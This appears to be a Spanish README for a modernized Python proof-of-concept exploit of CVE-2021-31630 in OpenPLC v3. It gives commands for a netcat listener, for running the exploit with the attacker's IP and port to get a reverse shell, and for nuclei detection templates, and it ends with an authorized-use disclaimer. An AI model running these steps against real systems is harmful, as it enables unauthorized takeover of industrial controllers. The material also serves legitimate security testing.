
Este es un exploit de prueba de concepto moderno y compatible con Python 3.13+ para CVE-2021-31630, una vulnerabilidad en OpenPLC v3 que permite a un usuario autenticado subir una capa de hardware personalizada que contiene código malicioso, lo que lleva a la ejecución remota de código (RCE) en el host.
Descubrimiento original de la vulnerabilidad y aviso por Fellipe Oliveira. Esta reimplementación y modernización utiliza httpx, herramientas CLI, registro de logs y técnicas de detección más seguras.
nc -lvnp 9001
python3 openplc_rce.py http://target:8080 -lh TU_IP -lp 9001
Banderas opcionales:
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080
La segunda plantilla inicia sesión e intenta una carga de payload inofensiva más una compilación para confirmar la vulnerabilidad probable, sin desencadenar la ejecución real de código.
Este código es solo para fines educativos y pruebas de seguridad autorizadas. No lo utilices sin permiso explícito del propietario del sistema.